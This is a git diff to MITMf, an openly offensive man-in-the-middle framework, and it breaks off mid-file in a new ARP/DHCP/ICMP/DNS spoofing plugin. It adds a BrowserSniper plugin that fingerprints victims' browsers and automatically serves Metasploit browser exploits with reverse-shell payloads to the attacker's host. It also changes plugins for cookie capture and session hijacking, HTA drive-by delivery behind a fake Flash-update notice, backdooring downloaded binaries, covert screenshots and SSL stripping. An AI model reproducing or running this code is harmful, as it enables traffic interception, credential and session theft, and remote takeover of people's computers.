server = smbserver.SimpleSMBServer(listenPort=self.port)
@@ -62,8 +62,6 @@ class SMBserver(ConfigWatcher):
LOG.setLevel(logging.INFO)
LOG.propagate = False
- logging.getLogger('smbserver').setLevel(logging.INFO)
- logging.getLogger('impacket').setLevel(logging.INFO)
fileHandler = logging.FileHandler("./logs/mitmf.log")
streamHandler = logging.StreamHandler(sys.stdout)
diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py
index 0bcb6a7..b140da8 100644
--- a/core/sslstrip/ClientRequest.py
+++ b/core/sslstrip/ClientRequest.py
@@ -160,11 +160,8 @@ class ClientRequest(Request):
log.debug("Sending spoofed favicon response")
self.sendSpoofedFaviconResponse()
- elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
- if 'securelink' in headers:
- del headers['securelink']
-
- log.debug("Sending request via SSL ({})".format((client,url)))
+ elif self.urlMonitor.isSecureLink(client, url):
+ log.debug("Sending request via SSL/TLS: {}".format(url))
self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url))
else:
diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py
index 24bfa3f..3051696 100644
--- a/core/sslstrip/ServerConnection.py
+++ b/core/sslstrip/ServerConnection.py
@@ -104,8 +104,6 @@ class ServerConnection(HTTPClient):
def connectionMade(self):
log.debug("HTTP connection made.")
- self.clientInfo["clientip"] = self.client.getClientIP()
-
try:
user_agent = parse(self.headers['user-agent'])
@@ -120,6 +118,8 @@ class ServerConnection(HTTPClient):
self.clientInfo["browser"] = "Other"
self.clientInfo["browserv"] = "Other"
+ self.clientInfo["clientip"] = self.client.getClientIP()
+
self.plugins.hook()
self.sendRequest()
self.sendHeaders()
@@ -206,8 +206,8 @@ class ServerConnection(HTTPClient):
data = self.replaceSecureLinks(data)
data = self.plugins.hook()['data']
- log.debug("Read from server {} bytes of data:\n{}".format(len(data), data))
- #log.debug("Read from server {} bytes of data".format(len(data)))
+ #log.debug("Read from server {} bytes of data:\n{}".format(len(data), data))
+ log.debug("Read from server {} bytes of data".format(len(data)))
if (self.contentLength != None):
self.client.setHeader('Content-Length', len(data))
diff --git a/core/utils.py b/core/utils.py
index 7f38f4b..ce1b2a1 100644
--- a/core/utils.py
+++ b/core/utils.py
@@ -20,6 +20,8 @@ import os
import logging
import re
import sys
+
+from commands import getstatusoutput
from core.logger import logger
from core.sergioproxy.ProxyPlugins import ProxyPlugins
from scapy.all import get_if_addr, get_if_hwaddr
@@ -33,10 +35,15 @@ def shutdown(message=None):
sys.exit(message)
def set_ip_forwarding(value):
- log.debug("Setting ip forwarding to {}".format(value))
- with open('/proc/sys/net/ipv4/ip_forward', 'w') as file:
- file.write(str(value))
- file.close()
+ status, result = getstatusoutput('sysctl --help')
+ if status == 0:
+ log.debug("Setting ip forwarding to {} using sysctl".format(value))
+ os.system('sysctl -w net.ipv4.ip_forward={} &> /dev/null'.format(value)) #for OSX
+ else:
+ log.debug("Setting ip forwarding to {}".format(value))
+ with open('/proc/sys/net/ipv4/ip_forward', 'w') as file:
+ file.write(str(value))
+ file.close()
def get_ip(interface):
try:
@@ -52,7 +59,7 @@ def get_mac(interface):
try:
mac_address = get_if_hwaddr(interface)
return mac_address
- except Exception, e:
+ except Exception as e:
shutdown("Error retrieving MAC address from {}: {}".format(interface, e))
class iptables:
diff --git a/mitmf.py b/mitmf.py
index a3265b6..66a5c68 100755
--- a/mitmf.py
+++ b/mitmf.py
@@ -21,7 +21,9 @@
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message
-logging.getLogger("watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages
+logging.getLogger("mitmflib.watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages
+logging.getLogger('mitmflib.smbserver').setLevel(logging.INFO)
+logging.getLogger('mitmflib.impacket').setLevel(logging.INFO)
import argparse
import sys
@@ -88,6 +90,8 @@ strippingFactory.protocol = StrippingProxy
reactor.listenTCP(options.listen_port, strippingFactory)
+ProxyPlugins().all_plugins = plugins
+
#All our options should be loaded now, start initializing the plugins
print "[*] MITMf v{} - '{}'".format(mitmf_version, mitmf_codename)
for plugin in plugins:
@@ -102,6 +106,7 @@ for plugin in plugins:
for line in xrange(0, len(plugin.tree_info)):
print "| |_ {}".format(plugin.tree_info.pop())
+ plugin.setup_logger()
plugin.initialize(options)
if plugin.tree_info:
@@ -109,16 +114,21 @@ for plugin in plugins:
print "| |_ {}".format(plugin.tree_info.pop())
plugin.reactor(strippingFactory)
- plugin.setup_logger()
plugin.start_config_watch()
print "|"
print "|_ Sergio-Proxy v0.2.1 online"
print "|_ SSLstrip v0.9 by Moxie Marlinspike online"
+print "|"
+
+#Start mitmf-api
+from core.mitmfapi import mitmfapi
+print "|_ MITMf-API online"
+mitmfapi().start()
#Start Net-Creds
from core.netcreds.NetCreds import NetCreds
-NetCreds().start(options.interface)
+NetCreds().start(options.interface, options.ip)
print "|_ Net-Creds v{} online".format(NetCreds.version)
#Start the HTTP Server
diff --git a/plugins/appcachepoison.py b/plugins/appcachepoison.py
index b0852a8..3430d94 100644
--- a/plugins/appcachepoison.py
+++ b/plugins/appcachepoison.py
@@ -55,7 +55,7 @@ class AppCachePlugin(Plugin):
if regexp and not re.search(regexp,req_headers["user-agent"]):
self.clientlog.info("Tampering disabled in this useragent ({})".format(req_headers["user-agent"]), extra=request.clientInfo)
return {'response': response, 'request': request, 'data': data}
-
+
urls = self.urlMonitor.getRedirectionSet(url)
self.clientlog.debug("Got redirection set: {}".format(urls), extra=request.clientInfo)
(name,s,element,url) = self.getSectionForUrls(urls)
diff --git a/plugins/browserprofiler.py b/plugins/browserprofiler.py
index 94033d1..6f3f564 100644
--- a/plugins/browserprofiler.py
+++ b/plugins/browserprofiler.py
@@ -38,6 +38,7 @@ class BrowserProfiler(Inject, Plugin):
if (request.command == 'POST') and ('clientprfl' in request.uri):
request.handle_post_output = True
self.output = json.loads(request.postData)
+ self.output['ip'] = request.client.getClientIP()
pretty_output = pformat(self.output)
self.clientlog.info("Got profile:\n{}".format(pretty_output), extra=request.clientInfo)
diff --git a/plugins/browsersniper.py b/plugins/browsersniper.py
new file mode 100644
index 0000000..3d72fce
--- /dev/null
+++ b/plugins/browsersniper.py
@@ -0,0 +1,179 @@
+#!/usr/bin/env python2.7
+
+# Copyright (c) 2014-2016 Marcello Salvati
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+
+import string
+import random
+import threading
+from time import sleep
+from plugins.plugin import Plugin
+from plugins.browserprofiler import BrowserProfiler
+
+class BrowserSniper(BrowserProfiler, Plugin):
+ name = "BrowserSniper"
+ optname = "browsersniper"
+ desc = "Performs drive-by attacks on clients with out-of-date browser plugins"
+ version = "0.4"
+ has_opts = False
+
+ def initialize(self, options):
+ self.options = options
+ self.msfip = options.ip
+ self.sploited_ips = [] #store ip of pwned or not vulnerable clients so we don't re-exploit
+
+ #Initialize the BrowserProfiler plugin
+ BrowserProfiler.initialize(self, options)
+
+ from core.msfrpc import Msf
+ self.msf = Msf()
+ self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version))
+
+ t = threading.Thread(name='sniper', target=self.snipe)
+ t.setDaemon(True)
+ t.start()
+
+ def _setupExploit(self, exploit, msfport):
+
+ self.log.debug('Setting up {}'.format(exploit))
+ rand_url = "/" + ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, 5))
+ rand_port = random.randint(1000, 65535)
+
+ #generate the command string to send to the virtual console
+ cmd = "use exploit/{}\n".format(exploit)
+ cmd += "set SRVPORT {}\n".format(msfport)
+ cmd += "set URIPATH {}\n".format(rand_url)
+ cmd += "set PAYLOAD generic/shell_reverse_tcp\n"
+ cmd += "set LHOST {}\n".format(self.msfip)
+ cmd += "set LPORT {}\n".format(rand_port)
+ cmd += "set ExitOnSession False\n"
+ cmd += "exploit -j\n"
+
+ self.msf.sendcommand(cmd)
+
+ return rand_url
+
+ def _compat_system(self, os_config, brw_config, os, browser):
+
+ if (os_config == 'any') and (brw_config == 'any'):
+ return True
+
+ if (os_config == 'any') and (brw_config in browser):
+ return True
+
+ if (os_config in os) and (brw_config == 'any'):
+ return True
+
+ if (os_config in os) and (brw_config in browser):
+ return True
+
+ return False
+
+ def getExploits(self):
+ exploits = []
+ vic_ip = self.output['ip']
+ os = self.output['ua_name']
+ browser = self.output['os_name']
+ java = None
+ flash = None
+
+ if self.output['java'] is not None:
+ java = self.output['java']
+
+ if self.output['flash'] is not None:
+ flash = self.output['flash']
+
+ self.log.info("{} => OS: {} | Browser: {} | Java: {} | Flash: {}".format(vic_ip, os, browser, java, flash))
+
+ for exploit, details in self.config['BrowserSniper']['exploits'].iteritems():
+
+ if self._compat_system(details['OS'].lower(), details['Browser'].lower(), os.lower(), browser.lower()):
+
+ if details['Type'].lower() == 'browservuln':
+ exploits.append(exploit)
+
+ elif details['Type'].lower() == 'pluginvuln':
+
+ if details['Plugin'].lower() == 'java':
+ if (java is not None) and (java in details['PluginVersions']):
+ exploits.append(exploit)
+
+ elif details['Plugin'].lower() == 'flash':
+
+ if (flash is not None) and (flash in details['PluginVersions']):
+ exploits.append(exploit)
+
+ self.log.info("{} => Compatible exploits: {}".format(vic_ip, exploits))
+ return exploits
+
+ def injectAndPoll(self, ip, url): #here we inject an iframe to trigger the exploit and check for resulting sessions
+
+ #inject iframe
+ self.log.info("{} => Now injecting iframe to trigger exploits".format(ip))
+ self.html_url = url
+
+ #The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds
+ #Will also make sure the shell actually came from the box that we targeted
+ self.log.info('{} => Waiting for ze shellz, sit back and relax...'.format(ip))
+
+ poll_n = 1
+ while poll_n != 30:
+
+ if self.msf.sessionsfrompeer(ip):
+ self.log.info("{} => Client haz been 0wn3d! Enjoy!".format(ip))
+ self.sploited_ips.append(ip)
+ self.black_ips = self.sploited_ips #Add to inject plugin blacklist since box has been popped
+ self.html_url = None
+ return
+
+ poll_n += 1
+ sleep(2)
+
+ self.log.info("{} => Session not established after 60 seconds".format(ip))
+ self.html_url = None
+
+ def snipe(self):
+ while True:
+ if self.output:
+ vic_ip = self.output['ip']
+
+ if vic_ip not in self.sploited_ips:
+ msfport = self.config['BrowserSniper']['msfport']
+ exploits = self.getExploits()
+
+ if not exploits:
+ self.log.info('{} => Client not vulnerable to any exploits, adding to blacklist'.format(vic_ip))
+ self.sploited_ips.append(vic_ip)
+ self.black_ips = self.sploited_ips
+
+ elif exploits and (vic_ip not in self.sploited_ips):
+ self.log.info("{} => Client vulnerable to {} exploits".format(vic_ip, len(exploits)))
+
+ for exploit in exploits:
+
+ jobs = self.msf.findjobs(exploit)
+ if jobs:
+ self.log.info('{} => {} already started'.format(vic_ip, exploit))
+ url = self.msf.jobinfo(jobs[0])['uripath'] #get the url assigned to the exploit
+ else:
+ url = self._setupExploit(exploit, msfport)
+
+ iframe_url = 'http://{}:{}{}'.format(self.msfip, msfport, url)
+ self.injectAndPoll(vic_ip, iframe_url)
+
+ sleep(1)
diff --git a/plugins/ferretng.py b/plugins/ferretng.py
index 8be8492..75df7be 100644
--- a/plugins/ferretng.py
+++ b/plugins/ferretng.py
@@ -26,75 +26,75 @@ from twisted.web import http
from twisted.internet import reactor
class FerretNG(Plugin):
- name = "Ferret-NG"
- optname = "ferretng"
- desc = "Captures cookies and starts a proxy that will feed them to connected clients"
- version = "0.1"
- has_opts = True
+ name = "Ferret-NG"
+ optname = "ferretng"
+ desc = "Captures cookies and starts a proxy that will feed them to connected clients"
+ version = "0.1"
+ has_opts = True
- def initialize(self, options):
- self.options = options
- self.ferret_port = options.ferret_port
- self.cookie_file = None
+ def initialize(self, options):
+ self.options = options
+ self.ferret_port = options.ferret_port
+ self.cookie_file = None
- from core.ferretng.FerretProxy import FerretProxy
- from core.ferretng.URLMonitor import URLMonitor
+ from core.ferretng.FerretProxy import FerretProxy
+ from core.ferretng.URLMonitor import URLMonitor
- URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
+ URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
- from core.utils import shutdown
- if options.cookie_file:
- self.tree_info.append('Loading cookies from log file')
- try:
- with open(options.cookie_file, 'r') as cookie_file:
- self.cookie_file = json.dumps(cookie_file.read())
- URLMonitor.getInstance().cookies = self.cookie_file
- cookie_file.close()
- except Exception as e:
- shutdown("[-] Error loading cookie log file: {}".format(e))
+ from core.utils import shutdown
+ if options.cookie_file:
+ self.tree_info.append('Loading cookies from log file')
+ try:
+ with open(options.cookie_file, 'r') as cookie_file:
+ self.cookie_file = json.dumps(cookie_file.read())
+ URLMonitor.getInstance().cookies = self.cookie_file
+ cookie_file.close()
+ except Exception as e:
+ shutdown("[-] Error loading cookie log file: {}".format(e))
- self.tree_info.append("Listening on port {}".format(self.ferret_port))
+ self.tree_info.append("Listening on port {}".format(self.ferret_port))
- def on_config_change(self):
- self.log.info("Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client']))
- URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
+ def on_config_change(self):
+ self.log.info("Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client']))
+ URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
- def request(self, request):
- if 'cookie' in request.headers:
- host = request.headers['host']
- cookie = request.headers['cookie']
- client = request.client.getClientIP()
+ def request(self, request):
+ if 'cookie' in request.headers:
+ host = request.headers['host']
+ cookie = request.headers['cookie']
+ client = request.client.getClientIP()
- if client not in URLMonitor.getInstance().cookies:
- URLMonitor.getInstance().cookies[client] = []
+ if client not in URLMonitor.getInstance().cookies:
+ URLMonitor.getInstance().cookies[client] = []
- for entry in URLMonitor.getInstance().cookies[client]:
- if host == entry['host']:
- self.clientlog.debug("Updating captured session for {}".format(host), extra=request.clientInfo)
- entry['host'] = host
- entry['cookie'] = cookie
- return
+ for entry in URLMonitor.getInstance().cookies[client]:
+ if host == entry['host']:
+ self.clientlog.debug("Updating captured session for {}".format(host), extra=request.clientInfo)
+ entry['host'] = host
+ entry['cookie'] = cookie
+ return
- self.clientlog.info("Host: {} Captured cookie: {}".format(host, cookie), extra=request.clientInfo)
- URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie})
+ self.clientlog.info("Host: {} Captured cookie: {}".format(host, cookie), extra=request.clientInfo)
+ URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie})
- def reactor(self, StrippingProxy):
- FerretFactory = http.HTTPFactory(timeout=10)
- FerretFactory.protocol = FerretProxy
- reactor.listenTCP(self.ferret_port, FerretFactory)
+ def reactor(self, StrippingProxy):
+ FerretFactory = http.HTTPFactory(timeout=10)
+ FerretFactory.protocol = FerretProxy
+ reactor.listenTCP(self.ferret_port, FerretFactory)
- def options(self, options):
- options.add_argument('--port', dest='ferret_port', metavar='PORT', default=10010, type=int, help='Port to start Ferret-NG proxy on (default 10010)')
- options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, help='Load cookies from a log file')
+ def options(self, options):
+ options.add_argument('--port', dest='ferret_port', metavar='PORT', default=10010, type=int, help='Port to start Ferret-NG proxy on (default 10010)')
+ options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, help='Load cookies from a log file')
- def on_shutdown(self):
- if not URLMonitor.getInstance().cookies:
- return
+ def on_shutdown(self):
+ if not URLMonitor.getInstance().cookies:
+ return
- if self.cookie_file == URLMonitor.getInstance().cookies:
- return
-
- self.log.info("Writing cookies to log file")
- with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file:
- cookie_file.write(str(URLMonitor.getInstance().cookies))
- cookie_file.close()
+ if self.cookie_file == URLMonitor.getInstance().cookies:
+ return
+
+ self.log.info("Writing cookies to log file")
+ with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file:
+ cookie_file.write(str(URLMonitor.getInstance().cookies))
+ cookie_file.close()
diff --git a/plugins/filepwn.py b/plugins/filepwn.py
index 49c71d0..52f46b2 100644
--- a/plugins/filepwn.py
+++ b/plugins/filepwn.py
@@ -111,21 +111,17 @@ class FilePwn(Plugin):
#NOT USED NOW
self.supportedBins = ('MZ', '7f454c46'.decode('hex'))
-
+
#FilePwn options
- self.userConfig = self.config['FilePwn']
- self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax']
- self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86']
- self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64']
- self.WindowsType = self.userConfig['targets']['ALL']['WindowsType']
- self.LinuxIntelx86 = self.userConfig['targets']['ALL']['LinuxIntelx86']
- self.LinuxIntelx64 = self.userConfig['targets']['ALL']['LinuxIntelx64']
- self.LinuxType = self.userConfig['targets']['ALL']['LinuxType']
- self.MachoIntelx86 = self.userConfig['targets']['ALL']['MachoIntelx86']
- self.MachoIntelx64 = self.userConfig['targets']['ALL']['MachoIntelx64']
- self.FatPriority = self.userConfig['targets']['ALL']['FatPriority']
- self.zipblacklist = self.userConfig['ZIP']['blacklist']
- self.tarblacklist = self.userConfig['TAR']['blacklist']
+ self.userConfig = self.config['FilePwn']
+ self.hostblacklist = self.userConfig['hosts']['blacklist']
+ self.hostwhitelist = self.userConfig['hosts']['whitelist']
+ self.keysblacklist = self.userConfig['keywords']['blacklist']
+ self.keyswhitelist = self.userConfig['keywords']['whitelist']
+ self.zipblacklist = self.userConfig['ZIP']['blacklist']
+ self.tarblacklist = self.userConfig['TAR']['blacklist']
+ self.parse_target_config(self.userConfig['targets']['ALL'])
+
self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version))
@@ -570,12 +566,40 @@ class FilePwn(Plugin):
else:
self.patched.put(tempZipFile)
return
+
+ def parse_target_config(self, targetConfig):
+ for key, value in targetConfig.iteritems():
+ if hasattr(self, key) is False:
+ setattr(self, key, value)
+ self.log.debug("Settings Config {}: {}".format(key, value))
+
+ elif getattr(self, key, value) != value:
+
+ if value == "None":
+ continue
+
+ #test if string can be easily converted to dict
+ if ':' in str(value):
+ for tmpkey, tmpvalue in dict(value).iteritems():
+ getattr(self, key, value)[tmpkey] = tmpvalue
+ self.log.debug("Updating Config {}: {}".format(tmpkey, tmpvalue))
+
+ else:
+ setattr(self, key, value)
+ self.log.debug("Updating Config {}: {}".format(key, value))
def response(self, response, request, data):
content_header = response.headers['Content-Type']
client_ip = response.getClientIP()
+ for target in self.userConfig['targets'].keys():
+ if target == 'ALL':
+ self.parse_target_config(self.userConfig['targets']['ALL'])
+
+ if target in request.headers['host']:
+ self.parse_target_config(self.userConfig['targets'][target])
+
if content_header in self.zipMimeTypes:
if self.bytes_have_format(data, 'zip'):
diff --git a/plugins/htadriveby.py b/plugins/htadriveby.py
index 451093e..13385ca 100644
--- a/plugins/htadriveby.py
+++ b/plugins/htadriveby.py
@@ -21,36 +21,36 @@ import flask
from plugins.plugin import Plugin
from plugins.inject import Inject
-from core.servers.http.HTTPserver import HTTPserver
class HTADriveBy(Inject, Plugin):
- name = 'HTA Drive-By'
- desc = 'Performs HTA drive-by attacks on clients'
- optname = 'hta'
- ver = '0.1'
+ name = 'HTA Drive-By'
+ desc = 'Performs HTA drive-by attacks on clients'
+ optname = 'hta'
+ ver = '0.1'
- def initialize(self, options):
- self.bar_text = options.text
- self.ip = options.ip
- Inject.initialize(self, options)
- self.html_payload = self.get_payload()
+ def initialize(self, options):
+ self.bar_text = options.text
+ self.ip = options.ip
+ Inject.initialize(self, options)
+ self.html_payload = self.get_payload()
- server = HTTPserver().server
+ from core.servers.http.HTTPserver import HTTPserver
+ def hta_request(path):
+ if path == options.hta_app.split('/')[-1]:
+ with open(options.hta_app) as hta_file:
+ resp = flask.Response(hta_file.read())
- @server.route('/')
- def client_request(hta_req):
- if hta_req == "Flash.hta":
- with open('./config/hta_driveby/Flash.hta') as hta_file:
- resp = flask.Response(hta_file.read())
+ resp.headers['Content-Type'] = "application/hta"
+ return resp
- resp.headers['Content-Type'] = "application/hta"
- return resp
+ HTTPserver().add_endpoint(hta_request)
- def get_payload(self):
- with open("./core/html/htadriveby.html", 'r') as file:
- payload = re.sub("_TEXT_GOES_HERE_", self.bar_text, file.read())
- payload = re.sub("_IP_GOES_HERE_", self.ip, payload)
- return payload
+ def get_payload(self):
+ with open("./core/html/htadriveby.html", 'r') as file:
+ payload = re.sub("_TEXT_GOES_HERE_", self.bar_text, file.read())
+ payload = re.sub("_IP_GOES_HERE_", self.ip, payload)
+ return payload
- def options(self, options):
- options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar")
+ def options(self, options):
+ options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar")
+ options.add_argument('--hta-app', type=str, default='./config/hta_driveby/Flash.hta', help='Path to HTA application [defaults to config/hta_driveby/Flash.hta]')
diff --git a/plugins/inject.py b/plugins/inject.py
index 0ad7b07..327672c 100644
--- a/plugins/inject.py
+++ b/plugins/inject.py
@@ -65,7 +65,7 @@ class Inject(Plugin):
if self.html_url:
iframe = html.new_tag("iframe", src=self.html_url, frameborder=0, height=0, width=0)
html.body.append(iframe)
- self.clientlog.info("Injected HTML Iframe: {}".format(hn))
+ self.clientlog.info("Injected HTML Iframe: {}".format(hn), extra=request.clientInfo)
if self.html_payload:
payload = BeautifulSoup(self.html_payload, "html.parser")
diff --git a/plugins/replace.py b/plugins/replace.py
index c12fdbe..5133d93 100644
--- a/plugins/replace.py
+++ b/plugins/replace.py
@@ -26,28 +26,28 @@ import re
from plugins.plugin import Plugin
class Replace(Plugin):
- name = "Replace"
- optname = "replace"
- desc = "Replace arbitrary content in HTML content"
- version = "0.2"
+ name = "Replace"
+ optname = "replace"
+ desc = "Replace arbitrary content in HTML content"
+ version = "0.2"
- def initialize(self, options):
- self.options = options
+ def initialize(self, options):
+ self.options = options
- def response(self, response, request, data):
- mime = response.headers['Content-Type']
- hn = response.getRequestHostname()
+ def response(self, response, request, data):
+ mime = response.headers['Content-Type']
+ hn = response.getRequestHostname()
- if "text/html" in mime:
+ if "text/html" in mime:
- for rulename, regexs in self.config['Replace'].iteritems():
- for regex1,regex2 in regexs.iteritems():
- if re.search(regex1, data):
- try:
- data = re.sub(regex1, regex2, data)
+ for rulename, regexs in self.config['Replace'].iteritems():
+ for regex1,regex2 in regexs.iteritems():
+ if re.search(regex1, data):
+ try:
+ data = re.sub(regex1, regex2, data)
- self.clientlog.info("occurances matching '{}' replaced with '{}' according to rule '{}'".format(regex1, regex2, rulename), extra=request.clientInfo)
- except Exception:
- self.log.error("Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'".format(regex1, regex2, rulename))
+ self.clientlog.info("occurances matching '{}' replaced with '{}' according to rule '{}'".format(regex1, regex2, rulename), extra=request.clientInfo)
+ except Exception:
+ self.log.error("Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'".format(regex1, regex2, rulename))
- return {'response': response, 'request': request, 'data': data}
+ return {'response': response, 'request': request, 'data': data}
diff --git a/plugins/responder.py b/plugins/responder.py
index aa2a6f9..7b21f48 100644
--- a/plugins/responder.py
+++ b/plugins/responder.py
@@ -17,6 +17,7 @@
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
+import flask
from plugins.plugin import Plugin
from twisted.internet import reactor
@@ -53,13 +54,8 @@ class Responder(Plugin):
if options.wpad:
from core.servers.http.HTTPserver import HTTPserver
- import flask
-
- server = HTTPserver().server
-
- @server.route('/')
- def wpad(wpad_req):
- if (wpad_req == 'wpad.dat') or (wpad_req.endswith('.pac')):
+ def wpad_request(path):
+ if (path == 'wpad.dat') or (path.endswith('.pac')):
payload = self.config['Responder']['WPADScript']
resp = flask.Response(payload)
@@ -70,6 +66,8 @@ class Responder(Plugin):
return resp
+ HTTPserver().add_endpoint(wpad_request)
+
if self.config["Responder"]["MSSQL"].lower() == "on":
from core.responder.mssql.MSSQLserver import MSSQLserver
MSSQLserver().start(smbChal)
diff --git a/plugins/screenshotter.py b/plugins/screenshotter.py
index b7f9ccc..9a7f783 100644
--- a/plugins/screenshotter.py
+++ b/plugins/screenshotter.py
@@ -27,33 +27,33 @@ from plugins.plugin import Plugin
from plugins.inject import Inject
class ScreenShotter(Inject, Plugin):
- name = 'ScreenShotter'
- optname = 'screen'
- desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser'
- ver = '0.1'
+ name = 'ScreenShotter'
+ optname = 'screen'
+ desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser'
+ ver = '0.1'
- def initialize(self, options):
- Inject.initialize(self, options)
- self.js_payload = self.get_payload()
- self.interval = options.interval
+ def initialize(self, options):
+ Inject.initialize(self, options)
+ self.js_payload = self.get_payload()
+ self.interval = options.interval
- def request(self, request):
- if 'saveshot' in request.uri:
- request.handle_post_output = True
+ def request(self, request):
+ if 'saveshot' in request.uri:
+ request.handle_post_output = True
- client = request.client.getClientIP()
- img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
- try:
- with open('./logs/' + img_file, 'wb') as img:
- img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
- img.close()
+ client = request.client.getClientIP()
+ img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
+ try:
+ with open('./logs/' + img_file, 'wb') as img:
+ img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
+ img.close()
- self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo)
- except Exception as e:
- self.clientlog.error('Error saving screenshot: {}'.format(e), extra=request.clientInfo)
+ self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo)
+ except Exception as e:
+ self.clientlog.error('Error saving screenshot: {}'.format(e), extra=request.clientInfo)
- def get_payload(self):
- return re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read())
+ def get_payload(self):
+ return re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read())
- def options(self, options):
- options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)")
+ def options(self, options):
+ options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)")
diff --git a/plugins/spoof.py b/plugins/spoof.py
new file mode 100644
index 0000000..7f91e73
--- /dev/null
+++ b/plugins/spoof.py
@@ -0,0 +1,115 @@
+# Copyright (c) 2014-2016 Marcello Salvati
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+
+from plugins.plugin import Plugin
+
+class Spoof(Plugin):
+ name = "Spoof"
+ optname = "spoof"
+ desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS"
+ version = "0.6"
+ has_opts = True
+
+ def initialize(self, options):
+ '''Called if plugin is enabled, passed the options namespace'''
+ self.options = options
+ self.manualiptables = options.manualiptables
+ self.protocol_instances = []
+
+ from core.utils import iptables, shutdown, set_ip_forwarding
+ #Makes scapy more verbose
+ debug = False
+
+ if options.arp:
+ if not options.gateway:
+ shutdown("[Spoof] --arp argument requires --gateway")
+
+ from core.poisoners.arp.ARPpoisoner import ARPpoisoner
+ arp = ARPpoisoner(options)
+ arp.debug = debug
+ self.tree_info.append('ARP spoofing enabled')
+ self.protocol_instances.append(arp)
+
+ elif options.dhcp:
+ from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner
+
+ if options.targets:
+ shutdown("[Spoof] --targets argument invalid when DCHP spoofing")
+
+ dhcp = DHCPpoisoner(options, self.config['Spoof']['DHCP'])
+ dhcp.debug = debug
+ self.tree_info.append('DHCP spoofing enabled')
+ self.protocol_instances.append(dhcp)
+
+ elif options.icmp:
+ from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner
+
+ if not options.gateway:
+ shutdown("[Spoof] --icmp argument requires --gateway")
+
+ if not options.targets:
+ shutdown("[Spoof] --icmp argument requires --targets")
+
+ icmp = ICMPpoisoner(options)
+ icmp.debug = debug
+ self.tree_info.append('ICMP spoofing enabled')
+ self.protocol_instances.append(icmp)
+
+ if options.dns:
+ from core.servers.dns.DNSchef import DNSChef
+
+ self.tree_info.append('DNS spoofing enabled')
+ if not options.manualiptables:
